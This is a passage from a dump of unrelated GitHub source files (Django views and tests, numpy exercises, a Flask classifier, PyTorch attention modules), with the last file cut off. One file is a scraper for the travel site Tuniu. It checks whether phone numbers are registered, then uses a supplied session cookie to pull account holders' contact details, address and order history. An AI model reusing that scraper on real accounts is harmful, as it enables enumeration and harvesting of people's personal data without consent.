self.assertRedirects(response, redirect_url, status_code=302, target_status_code=200)\n","repo_name":"JadSbai/Chess-Club","sub_path":"chessclubs/tests/views/test_change_profile_view.py","file_name":"test_change_profile_view.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"1947369460","text":"n = int(input())\n\nbr = list(map(int, input().split()))\n\nm = int(input())\n\n\nif sum(br) <= m:\n    print(max(br))\nelse:\n    maxi = max(br)\n    maxb = min(br)\n    for i in range(1, maxi):\n        new = list(map(lambda x: x if x <= i else i, br))\n        if sum(new) <= m:\n            maxb = max(new)\n    print(maxb)","repo_name":"myoun/algorithm","sub_path":"2512.py","file_name":"2512.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"32820805952","text":"from ws_login_domain import Equipment, Material\nfrom ws_login_flaskr.db import MySQLConnection\n\nfrom typing import List\n\nclass MaterialRepository:\n    def __init__(self, conn: MySQLConnection):\n        self.conn = conn\n\n    def get_material_for(self, equipment: Equipment) -> List[Material]:\n        \"\"\"\n        Retrieve a list of all materials that can be used with a given machine.\n        :param database: Database from which the data will be pulled\n        :param equipment_id: ID of the equipment in question\n        :return: List of material names\n        \"\"\"\n        curr = self.conn.cursor()\n        sql = \"\"\"\n            SELECT\n                mat.material_id,\n                material_name,\n                unit\n            FROM materials AS mat\n            INNER JOIN equipment_materials AS em\n                ON em.material_id=mat.material_id\n            WHERE em.equipment_id = %s\n            \"\"\"\n        curr.execute(sql, (equipment.equipment_id,))\n        return [Material(row[0], row[1], row[2]) for row in curr.fetchall()]\n\n","repo_name":"NIACCInnovWork/Workspace-Login-V2","sub_path":"ws_login_flaskr/repositories/material_repository.py","file_name":"material_repository.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"10236787207","text":"import json\nimport time\nimport traceback\nfrom datetime import datetime\nimport pytz\n\nfrom commonbaby.httpaccess.httpaccess import HttpAccess, ResponseIO\n\nfrom datacontract.ecommandstatus import ECommandStatus\nfrom datacontract.idowndataset import EBackResult\nfrom .spidertravelbase import SpiderTravelBase\nfrom ...clientdatafeedback import PROFILE, ITRAVELORDER_ONE, RESOURCES, ESign, EResourceType, EGender\n\n\nclass SpiderTuniu(SpiderTravelBase):\n\n    def __init__(self, task, appcfg, clientid):\n        super(SpiderTuniu, self).__init__(task, appcfg, clientid)\n        self.cookie = self.task.cookie\n        self.ha = HttpAccess()\n        if self.cookie:\n            self.ha._managedCookie.add_cookies('tuniu.com', self.cookie)\n\n    def _check_registration(self):\n        \"\"\"\n        查询手机号是否注册了途牛\n        :param account:\n        :return:\n        \"\"\"\n        t = time.strftime('%Y-%m-%d %H:%M:%S')\n        try:\n            url = \"https://passport.tuniu.com/register\"\n            html = self._ha.getstring(url, headers=\"\"\"\naccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\naccept-encoding: gzip, deflate, br\naccept-language: zh-CN,zh;q=0.9\ncache-control: no-cache\npragma: no-cache\nupgrade-insecure-requests: 1\nuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36\"\"\")\n\n            headers = \"\"\"\nAccept: */*\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: https://passport.tuniu.com\nReferer: https://passport.tuniu.com/register\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36\nX-Requested-With: XMLHttpRequest\"\"\"\n            url = 'https://passport.tuniu.com/register/isPhoneAvailable'\n            postdata = f\"intlCode=0086&tel={self.task.phone}\"\n            html = self._ha.getstring(url, headers=headers, req_data=postdata)\n            if '\"errno\":-1,' in html:\n                self._write_task_back(ECommandStatus.Succeed, 'Registered', t, EBackResult.Registerd)\n            else:\n                self._write_task_back(ECommandStatus.Succeed, 'Not Registered', t, EBackResult.UnRegisterd)\n\n        except Exception:\n            self._logger.error('Check registration fail: {}'.format(traceback.format_exc()))\n            self._write_task_back(ECommandStatus.Failed, 'Check registration fail', t, EBackResult.CheckRegisterdFail)\n        return\n\n    def _cookie_login(self):\n        url = 'https://i.tuniu.com/usercenter/usercommonajax/japi'\n        headers = \"\"\"\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCache-Control: no-cache\nConnection: keep-alive\nContent-Length: 76\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nHost: i.tuniu.com\nOrigin: https://i.tuniu.com\nPragma: no-cache\nReferer: https://i.tuniu.com/userinfoconfirm\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\nX-Requested-With: XMLHttpRequest\"\"\"\n        postdata = 'serviceName=MOB.MEMBERS.InnerController.getUserInfo&serviceParamsJson=%7B%7D'\n        try:\n            html = self.ha.getstring(url, headers=headers, req_data=postdata)\n            jshtml = json.loads(html)\n            userid = jshtml['data']['data']['userId']\n            if userid:\n                self.userid = str(userid) + '-tuniu'\n                return True\n            else:\n                return False\n        except:\n            return False\n\n    def _get_profile(self):\n        try:\n            url = 'https://i.tuniu.com/usercenter/usercommonajax/japi'\n            headers = \"\"\"\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCache-Control: no-cache\nConnection: keep-alive\nContent-Length: 76\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nHost: i.tuniu.com\nOrigin: https://i.tuniu.com\nPragma: no-cache\nReferer: https://i.tuniu.com/userinfoconfirm\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\nX-Requested-With: XMLHttpRequest\"\"\"\n            postdata = 'serviceName=MOB.MEMBERS.InnerController.getUserInfo&serviceParamsJson=%7B%7D'\n            html = self.ha.getstring(url, headers=headers, req_data=postdata)\n            jshtml = json.loads(html)\n            res = PROFILE(self._clientid, self.task, self._appcfg._apptype, self.userid)\n            userid = jshtml['data']['data']['userId']\n            res.nickname = jshtml['data']['data']['nickName']\n            res.phone = jshtml['data']['data']['tel']\n            res.birthday = jshtml['data']['data']['birthday']\n            res.email = jshtml['data']['data']['email']\n            res.address = jshtml['data']['data']['additionalAddress']\n            sex = jshtml['data']['data']['sex']\n            if sex == 1:\n                res.gender = EGender.Male\n            elif sex == 0:\n                res.gender = EGender.Female\n            else:\n                res.gender = EGender.Unknown\n            detail = jshtml['data']['data']\n            res.append_details(detail)\n            photourl = jshtml['data']['data']['largeAvatarUrl']\n            if photourl:\n                profilepic: RESOURCES = RESOURCES(self._clientid, self.task, photourl, EResourceType.Picture,\n                                                  self._appcfg._apptype)\n\n                resp_stream: ResponseIO = self.ha.get_response_stream(photourl)\n                profilepic.io_stream = resp_stream\n                profilepic.filename = photourl.rsplit('/', 1)[-1]\n                profilepic.sign = ESign.PicUrl\n                res.append_resource(profilepic)\n                yield profilepic\n            yield res\n        except Exception:\n            self._logger.error('{} .got profile fail: {}'.format(self.userid, traceback.format_exc()))\n\n    def _get_orders(self):\n        try:\n            page = 0\n            while True:\n                page += 1\n                url = 'https://i.tuniu.com/usercenter/usercommonajax/japi/getOrderList?serviceName=MOB.MEMBER.InnerOrderController.getOrderList&serviceParamsJson=%7B%22type%22%3A0%2C%22page%22%3A{}%2C%22status%22%3A0%2C%22size%22%3A5%7D&_={}'.format(\n                    page, int(datetime.now(pytz.timezone('Asia/Shanghai')).timestamp() * 1000))\n                headers = \"\"\"\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCache-Control: no-cache\nConnection: keep-alive\nHost: i.tuniu.com\nPragma: no-cache\nReferer: https://i.tuniu.com/list/\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36\nX-Requested-With: XMLHttpRequest\"\"\"\n                html = self.ha.getstring(url, headers=headers)\n                jshtml = json.loads(html)\n                orderList = jshtml['data']['data']['orderList']\n                if orderList:\n                    for order in orderList:\n                        try:\n                            orderid = order['orderId']\n                            ordertime = order['orderTime']\n                            res_one = ITRAVELORDER_ONE(self.task, self._appcfg._apptype, self.userid, orderid)\n                            res_one.append_orders(order)\n                            res_one.ordertime = ordertime\n                            res_one.host = 'www.tuniu.com'\n                            yield res_one\n                        except:\n                            pass\n                totalpage = jshtml['data']['data']['totalPage']\n                if totalpage <= page:\n                    break\n        except Exception:\n            self._logger.error('{} got order fail: {}'.format(self.userid, traceback.format_exc()))\n","repo_name":"Octoberr/sspywork","sub_path":"savecode/threeyears/idownclient/spider/spidertravel/spidertuniu.py","file_name":"spidertuniu.py","file_ext":"py","file_size_in_byte":7935,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"}
{"seq_id":"20883885293","text":"import glob\nimport os\n\nimport pandas as pd\nimport pytest\n\nfrom detdata.dgen import DetGen\nfrom detdata.mxio import csv_to_mxrecords, json_labels_to_csv\n\nbase_path = os.path.dirname(os.path.realpath(__file__))\ntr_csv = os.path.join(base_path, 'test_x_train.csv')\nval_csv = os.path.join(base_path, 'test_x_valid.csv')\nmxrecord = os.path.join(base_path, 'test_x_train.mxrecords')\nmxindex = os.path.join(base_path, 'test_x_train.mxindex')\ntestdata = os.path.join(base_path, 'testdata')\ntemplate_path = os.path.join(base_path, 'test_x_{}.csv')\n\n\n\n\ndef cleanup():\n    print('cleaning up')\n    os.remove(tr_csv)\n    os.remove(val_csv)\n    os.remove(mxrecord)\n    os.remove(mxindex)\n\n\n@pytest.fixture()\ndef create_mxrecords():\n    json_labels_to_csv(testdata, output_csv_file=template_path, val_split=0.0, shuffle=False)\n    df = pd.read_csv(tr_csv)\n\n    fns = [a.split(os.sep)[-1] for a in list(glob.glob(os.path.join(base_path, 'testdata/*.jpg')))]\n    assert set(df.fname.tolist()) == set(fns)\n    csv_to_mxrecords(tr_csv, testdata, output_path=base_path)\n    yield \"teardown after that\"\n\n    cleanup()\n\n\n@pytest.fixture()\ndef detgen_instance():\n    csv_file = os.path.join(base_path, template_path)\n\n    json_labels_to_csv(testdata, output_csv_file=csv_file, val_split=0.0, shuffle=False)\n    df = pd.read_csv(tr_csv)\n\n    fns = [a.split(os.sep)[-1] for a in list(glob.glob(os.path.join(base_path, 'testdata/*.jpg')))]\n\n    assert set(df.fname.tolist()) == set(fns)\n    df_train = csv_to_mxrecords(tr_csv, testdata, output_path=base_path)\n\n    g = DetGen(\n        mxrecord,\n        tr_csv,\n        mxindex,\n        batch_size=8\n    )\n\n    yield g\n\n    cleanup()\n","repo_name":"i008/detdata","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"2622677654","text":"class lsndeterministicnat_args :\n\tr\"\"\" Provides additional arguments required for fetching the lsndeterministicnat resource.\n\t\"\"\"\n\tdef __init__(self) :\n\t\tself._clientname = None\n\t\tself._network6 = None\n\t\tself._subscrip = None\n\t\tself._td = None\n\t\tself._natip = None\n\n\t@property\n\tdef clientname(self) :\n\t\tr\"\"\"The name of the LSN Client.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._clientname\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@clientname.setter\n\tdef clientname(self, clientname) :\n\t\tr\"\"\"The name of the LSN Client.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._clientname = clientname\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef network6(self) :\n\t\tr\"\"\"IPv6 address of the LSN subscriber or B4 device.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._network6\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@network6.setter\n\tdef network6(self, network6) :\n\t\tr\"\"\"IPv6 address of the LSN subscriber or B4 device.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._network6 = network6\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef subscrip(self) :\n\t\tr\"\"\"The Client IP address.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._subscrip\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@subscrip.setter\n\tdef subscrip(self, subscrip) :\n\t\tr\"\"\"The Client IP address.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._subscrip = subscrip\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef td(self) :\n\t\tr\"\"\"The LSN client TD.<br/>Default value: 0<br/>Minimum value =  0<br/>Maximum value =  4094.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._td\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@td.setter\n\tdef td(self, td) :\n\t\tr\"\"\"The LSN client TD.<br/>Default value: 0<br/>Minimum value =  0<br/>Maximum value =  4094\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._td = td\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@property\n\tdef natip(self) :\n\t\tr\"\"\"The NAT IP address.<br/>Minimum length =  1.\n\t\t\"\"\"\n\t\ttry :\n\t\t\treturn self._natip\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@natip.setter\n\tdef natip(self, natip) :\n\t\tr\"\"\"The NAT IP address.<br/>Minimum length =  1\n\t\t\"\"\"\n\t\ttry :\n\t\t\tself._natip = natip\n\t\texcept Exception as e:\n\t\t\traise e\n\n","repo_name":"MayankTahil/nitro-ide","sub_path":"nitro-python-1.0/nssrc/com/citrix/netscaler/nitro/resource/config/lsn/lsndeterministicnat_args.py","file_name":"lsndeterministicnat_args.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"626307774","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('allStem', views.allStem),\n    path('todayRecommend', views.todayRecommend),\n    path('findStem/<int:stem_id>', views.findStem),\n    path('search', views.search),\n    path('xYearHot', views.xYearHot),\n    path('stemCommentQuery', views.stemCommentQuery),\n    path('saveStemComment', views.saveStemComment),\n    path('searchTimesHot', views.searchTimesHot),\n    path('userSaveStem', views.userSaveStem),\n    path('getStemInTime', views.getStemInTime),\n    path('categoryComment', views.categoryComment),\n]\n","repo_name":"Giao7653/-","sub_path":"后端代码/stem/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"71339369005","text":"import glob\nimport re\n\nfrom docx import Document\n\nif __name__ == '__main__':\n\n\ttext_filenames = sorted(glob.glob('../media/txt/*.docx'), key=lambda x: int(re.findall(r'\\d+', x)[0]))\n\n\tfor name in text_filenames:\n\t\tf = open(name, 'rb')\n\t\td = Document(f)\n\t\t# print(name)\n\t\ttext = ''\n\t\tstate = ''\n\t\tauthor = ''\n\t\told_author = ''\n\n\t\tfor p in d.paragraphs:\n\t\t\ttry:\n\t\t\t\tauthor = re.findall(r'-+.*?\\/(.*?)\\/', p.text)[0]\n\t\t\t\tstate = 'author'\n\t\t\texcept IndexError:\n\t\t\t\ttext += '<p>%s</p>\\n' % p.text\n\t\t\t\tstate = 'text'\n\t\t\t\told_author = author\n\t\t\tfinally:\n\t\t\t\tif state == 'author' and old_author:\n\t\t\t\t\tprint(old_author)\n\t\t\t\t\tprint(text)\n\t\t\t\t\timage_fragment = models.ImageFragment.objects.create(author=old_author, description=text)\n\t\t\t\t\timage_fragment.save()\n\t\t\t\t\ttext = ''\n\n\tsmall_image_files = [x.split('..')[1] for x in glob.glob('../media/imgs/*.sm.jpg')]\n\tfor i in small_image_files:\n\t\tlink_prev = i\n\t\tlink_full = link_prev.replace('.sm', '')\n\t\tprint(link_prev, link_full)\n\t\timage = models.Image.objects.create(link_prev=link, link_full=link)\n\t\timage.save()\n\t\n\n\t# pure_image_files = set(sorted([x.split('..')[1] for x in glob.glob('../media/imgs/*.png')])) - small_image_files\n\n\t# print(image_files)\n\n\t# for link_full, link_prev in zip(pure_image_files, small_image_files):\n\t\t# print(link_full, link_prev)\n\n\t\t# image = models.Image.objects.create(link_prev=link, link_full=link)\n\t\t# image.save()\n\t\t# print(i.split('..')[1])\n\t\n\t# imageFragment1 = models.ImageFragment.objects.create(author='sm', description='test 2', image=image)\n\t# imageFragment2 = models.ImageFragment.objects.create(author='db', description='description of fragment 2', image=image)\n\t# imageFragment1.save()\n\t# imageFragment2.save()","repo_name":"alarionov93/ov_site","sub_path":"core/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"38014674257","text":"x=float(input())\nn=int(input())\nif (x >= 0 and x <= 1): \n    low = x \n    high = 1\nelse:\n    low=1\n    high=x\nguess=(high+low)/2\nepsilon = 0.000000000001\nprint(guess)\nwhile guess**n-x >=epsilon:\n    if guess**n >x:\n        high=guess\n    else:\n        low=guess\n    guess=(high+low)/2\n    print(guess)\nprint(guess)\n    \n","repo_name":"msd7at/30-Days-FAANG-","sub_path":"T 11.1 Calculating n-th real root using binary search.py","file_name":"T 11.1 Calculating n-th real root using binary search.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"19"}
{"seq_id":"43562428038","text":"from flask import Flask, redirect, url_for, render_template, request\nfrom keras.models import load_model\nimport cv2             \nimport numpy as np  \nfrom tqdm import tqdm\nimport os                   \nfrom werkzeug.utils import secure_filename\nimport tensorflow as tf\n\nexport_dir='model.h5'\nconverter = tf.lite.TFLiteConverter.from_keras_model(export_dir)\nmodel = converter.convert()\n\n# model = load_model('blob/master/model.h5')\n\napp = Flask(__name__,template_folder='template')\n\n@app.route(\"/upload-image\", methods=[\"GET\", \"POST\"])\ndef upload_file():\n    if request.method == 'POST':\n        f = request.files['image']\n        f_name = 'images/' + secure_filename(f.filename)\n        f.save(f_name)\n        fileread=cv2.imread(f_name)\n        fileread=cv2.resize(fileread,(150,150))\n        fileread = np.array(fileread)\n        fileread = np.expand_dims(fileread, axis=0)\n        pred = np.round(model.predict(fileread))\n        if pred[0][0] == 0 and pred[0][1] == 1:\n            return render_template('NoFireDetected.html')\n        else:\n            return render_template('FireDetected.html')\n\n    return render_template(\"upload_image.html\")\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"Krishnasai-N/fireFlask1","sub_path":"fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3861151129","text":"#NUMPY EXERCISES \n# import numpy as np \na = np.array([4, 10, 12, 23, -2, -1, 0, 0, 0, -6, 3, -7])\n\n#1.How many negative numbers are there?()\nlen(a[a < 0])\n\n#2.How many positive numbers are there?\nlen(a[a > 0])\n\n#3.How many even positive numbers are there?\nlen(a[(a > 0) & (a % 2 == 0)])\n\n#4.If you were to add 3 to each data point, how many positive numbers would there be?\na_plus_three = a + 3\na_plus_three \n\nlen(a_plus_three)\n\n\n#5.If you squared each number, what would the new mean and standard deviation be?\na_squared = a**2\na_squared_mean = a_squared.mean()\n\n\na_squared_mean\n\na_std = a_squared.std()\n\na_std\n\n\n#6.Centering- Subtracting the mean from each data point. Center the data set.\na_centered = a - a.mean()\n\na_centered\n\n\n#7.Calculate the z-score for each data point\n\na_z_score = a_centered / a.std()\n\na_z_score\n\n\n#8. ################################################################################\n#                             More Numpy Practice                              #\n################################################################################\n\n\nimport numpy as np\n# Life w/o numpy to life with numpy\n\n## Setup 1\na = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\n# Use python's built in functionality/operators to determine the following:\n# Exercise 1 - Make a variable called sum_of_a to hold the sum of all the numbers in above list\nsum_of_a = sum(a)\n\nsum_of_a \n# Exercise 2 - Make a variable named min_of_a to hold the minimum of all the numbers in the above list\n\nmin_of_a = min(a)\n\nmin_of_a \n\n# Exercise 3 - Make a variable named max_of_a to hold the max number of all the numbers in the above list\nmax_of_a = max(a)\n\nmax_of_a\n\n\n# Exercise 4 - Make a variable named mean_of_a to hold the average of all the numbers in the above list\nmean_of_a = sum(a) / len(a)\n\nmean_of_a\n\n# Exercise 5 - Make a variable named product_of_a to hold the product of multiplying all the numbers in the above list together\nproduct_of_a = 1\n\nfor n in a:\n    product_of_a *= n\nproduct_of_a\n\n# Exercise 6 - Make a variable named squares_of_a. It should hold each number in a squared like [1, 4, 9, 16, 25...]\n\nsquares_of_a = [n ** 2 for n in a]\n\n# Exercise 7 - Make a variable named odds_in_a. It should hold only the odd numbers\n\nodds_in_a = [n for n in a if n % 2 == 1]\n\nodds_in_a \n# Exercise 8 - Make a variable named evens_in_a. It should hold only the evens.\n\nevens_in_a = [n for n in a if n % 2 == 0]\n\nevens_in_a \n## What about life in two dimensions? A list of lists is matrix, a table, a spreadsheet, a chessboard...\n## Setup 2: Consider what it would take to find the sum, min, max, average, sum, product, and list of squares for this list of two lists.\nb = [\n    [3, 4, 5],\n    [6, 7, 8]\n]\n\n# Exercise 1 - refactor the following to use numpy. Use sum_of_b as the variable. **Hint, you'll first need to make sure that the \"b\" variable is a numpy array**\nb = np.array(b)\nsum_of_b = b.sum()\n\nsum_of_b\n\n# Exercise 2 - refactor the following to use numpy. \nmin_of_b = b.min()\n\nmin_of_b\n\n# Exercise 3 - refactor the following maximum calculation to find the answer with numpy.\nmax_of_b = b.max()\n\nmax_of_b\n\n\n# Exercise 4 - refactor the following using numpy to find the mean of b\nmean_of_b = b.mean()\n\nmean_of_b \n\n# Exercise 5 - refactor the following to use numpy for calculating the product of all numbers multiplied together.\nproduct_of_b = b.prod()\n\nproduct_of_b\n\n\n# Exercise 6 - refactor the following to use numpy to find the list of squares \nsquares_of_b = b ** 2\n\nsquares_of_b\n\n\n# Exercise 7 - refactor using numpy to determine the odds_in_b\nodds_in_b = b[b % 2 == 1]\n\nodds_in_b\n\n\n# Exercise 8 - refactor the following to use numpy to filter only the even numbers\nevens_in_b = b[b % 2 == 0]\n\nevens_in_b\n\n# Exercise 9 - print out the shape of the array b.\n\nprint(b.shape)\n\n# Exercise 10 - transpose the array b.\nb.T\nb.T.shape\n\n# Exercise 11 - reshape the array b to be a single list of 6 numbers. (1 x 6)\nb.flatten()\n\n\n# Exercise 12 - reshape the array b to be a list of 6 lists, each containing only 1 number (6 x 1) \nb.reshape(6,1)\nprint(b.reshape)\n\n\n## Setup 3\nc = [\n    [1, 2, 3],\n    [4, 5, 6],\n    [7, 8, 9]\n]\n\nc = np.array(c)\n\n# HINT, you'll first need to make sure that the \"c\" variable is a numpy array prior to using numpy array methods.\n# Exercise 1 - Find the min, max, sum, and product of c.\nc.min(), c.max(), c.sum(), c.prod()\n\n# Exercise 2 - Determine the standard deviation of c.\nc.std()\n\n# Exercise 3 - Determine the variance of c.\nc.std() ** 2\n\n# Exercise 4 - Print out the shape of the array c\nc.shape\n\n# Exercise 5 - Transpose c and print out transposed result.\nc.T\n\n# Exercise 6 - Get the dot product of the array c with c. \nc.dot(c)\n\n# Exercise 7 - Write the code necessary to sum up the result of c times c transposed. Answer should be 261\n(c * c.T).sum()\n \n# Exercise 8 - Write the code necessary to determine the product of c times c transposed. Answer should be 131681894400.\n(c * c.T).prod()\n\n## Setup 4\nd = [\n    [90, 30, 45, 0, 120, 180],\n    [45, -90, -30, 270, 90, 0],\n    [60, 45, -45, 90, -45, 180]\n]\n\nd = np.array(d)\n\nprint(d)\n# Exercise 1 - Find the sine of all the numbers in d\nnp.sin(d)\n\n# Exercise 2 - Find the cosine of all the numbers in d\nnp.cos(d)\n\n# Exercise 3 - Find the tangent of all the numbers in d\nnp.tan(d)\n\n# Exercise 4 - Find all the negative numbers in d\nd[d < 0]\n\n# Exercise 5 - Find all the positive numbers in d\nd[d > 0]\n\n# Exercise 6 - Return an array of only the unique numbers in d.\nnp.unique(d)\n\n# Exercise 7 - Determine how many unique numbers there are in d.\nnp.unique(d).size\n\n# Exercise 8 - Print out the shape of d.\nd.shape\n\n# Exercise 9 - Transpose and then print out the shape of d.\nd.T.shape\n\n# Exercise 10 - Reshape d into an array of 9 x 2\nd.reshape(9, 2)\n","repo_name":"brandonjbryant/numpy-pandas-visualization-exercises","sub_path":"numpy_exercises.py","file_name":"numpy_exercises.py","file_ext":"py","file_size_in_byte":5731,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"35626161300","text":"import math\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom torchvision import models\nimport torch.optim as optim\nimport numpy as np\nfrom collections import OrderedDict\nfrom torch.utils import model_zoo\nfrom time import time\n\nfrom torch.autograd.variable import Variable\nclass SEModule(nn.Module):\n    def __init__(self, channels, reduction):\n        super(SEModule, self).__init__()\n        self.avg_pool = nn.AdaptiveAvgPool2d(1)\n        self.fc1 = nn.Conv2d(channels, channels // reduction, kernel_size=1, padding=0)\n        self.relu = nn.ReLU(inplace=True)\n        self.fc2 = nn.Conv2d(channels // reduction, channels, kernel_size=1, padding=0)\n        self.sigmoid = nn.Sigmoid()\n\n    def forward(self, x):\n        module_input = x\n        x = self.avg_pool(x)\n        x = self.fc1(x)\n        x = self.relu(x)\n        x = self.fc2(x)\n        x = self.sigmoid(x)\n        return module_input * x\n\nclass SCSEBlock(nn.Module):\n    def __init__(self, channel, reduction=16):\n        super(SCSEBlock, self).__init__()\n        self.avg_pool = nn.AdaptiveAvgPool2d(1)\n\n        self.channel_excitation = nn.Sequential(nn.Linear(channel, int(channel // reduction)),\n                                                nn.ReLU(inplace=True),\n                                                nn.Linear(int(channel // reduction), channel),\n                                                nn.Sigmoid())\n\n        self.spatial_se = nn.Sequential(nn.Conv2d(channel, 1, kernel_size=1,\n                                                  stride=1, padding=0, bias=False),\n                                        nn.Sigmoid())\n\n    def forward(self, x):\n        bahs, chs, _, _ = x.size()\n\n        # Returns a new tensor with the same data as the self tensor but of a different size.\n        chn_se = self.avg_pool(x).view(bahs, chs)\n        chn_se = self.channel_excitation(chn_se).view(bahs, chs, 1, 1)\n        chn_se = torch.mul(x, chn_se)\n\n        spa_se = self.spatial_se(x)\n        spa_se = torch.mul(x, spa_se)\n        return torch.add(chn_se, 1, spa_se)\n\nclass ConvBn2d(nn.Module):\n    def __init__(self, in_channels, out_channels, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), dilation=1):\n        super(ConvBn2d, self).__init__()\n\n        self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, stride=stride, padding=padding,\n                              bias=False, dilation=dilation)\n        self.bn = nn.BatchNorm2d(out_channels)\n        #self.bn = SynchronizedBatchNorm2d(out_channels)\n\n    def forward(self, z):\n        x = self.conv(z)\n        x = self.bn(x)\n        return x\nclass _SelfAttentionBlock(nn.Module):\n    '''\n    The basic implementation for self-attention block/non-local block\n    Input:\n        N X C X H X W\n    Parameters:\n        in_channels       : the dimension of the input feature map\n        key_channels      : the dimension after the key/query transform\n        value_channels    : the dimension after the value transform\n        scale             : choose the scale to downsample the input feature maps (save memory cost)\n    Return:\n        N X C X H X W\n        position-aware context features.(w/o concate or add with the input)\n    '''\n\n    def __init__(self, in_channels, key_channels, value_channels, out_channels=None, scale=1):\n        super(_SelfAttentionBlock, self).__init__()\n        self.scale = scale\n        self.in_channels = in_channels\n        self.out_channels = out_channels\n        self.key_channels = key_channels\n        self.value_channels = value_channels\n        if out_channels == None:\n            self.out_channels = in_channels\n        self.pool = nn.MaxPool2d(kernel_size=(scale, scale))\n        self.f_key = nn.Sequential(\n            nn.Conv2d(in_channels=self.in_channels, out_channels=self.key_channels,\n                      kernel_size=1, stride=1, padding=0),\n            nn.BatchNorm2d(self.key_channels),\n            nn.ReLU()\n        )\n        self.f_query = self.f_key\n        self.f_value = nn.Conv2d(in_channels=self.in_channels, out_channels=self.value_channels,\n                                 kernel_size=1, stride=1, padding=0)\n        self.W = nn.Conv2d(in_channels=self.value_channels, out_channels=self.out_channels,\n                           kernel_size=1, stride=1, padding=0)\n        nn.init.constant_(self.W.weight, 0)\n        nn.init.constant_(self.W.bias, 0)\n\n    def forward(self, x):\n        batch_size, h, w = x.size(0), x.size(2), x.size(3)\n        if self.scale > 1:\n            x = self.pool(x)\n\n        value = self.f_value(x).view(batch_size, self.value_channels, -1)\n        value = value.permute(0, 2, 1)\n        query = self.f_query(x).view(batch_size, self.key_channels, -1)\n        query = query.permute(0, 2, 1)\n        key = self.f_key(x).view(batch_size, self.key_channels, -1)\n\n        sim_map = torch.matmul(query, key)\n        sim_map = (self.key_channels ** -.5) * sim_map\n        sim_map = F.softmax(sim_map, dim=-1)\n\n        context = torch.matmul(sim_map, value)\n        context = context.permute(0, 2, 1).contiguous()\n        context = context.view(batch_size, self.value_channels, *x.size()[2:])\n        context = self.W(context)\n        if self.scale > 1:\n            context = F.interpolate(input=context, size=(h, w), mode='bilinear', align_corners=True)\n        return context\n\nclass SelfAttentionBlock2D(_SelfAttentionBlock):\n    def __init__(self, in_channels, key_channels, value_channels, out_channels=None, scale=1):\n    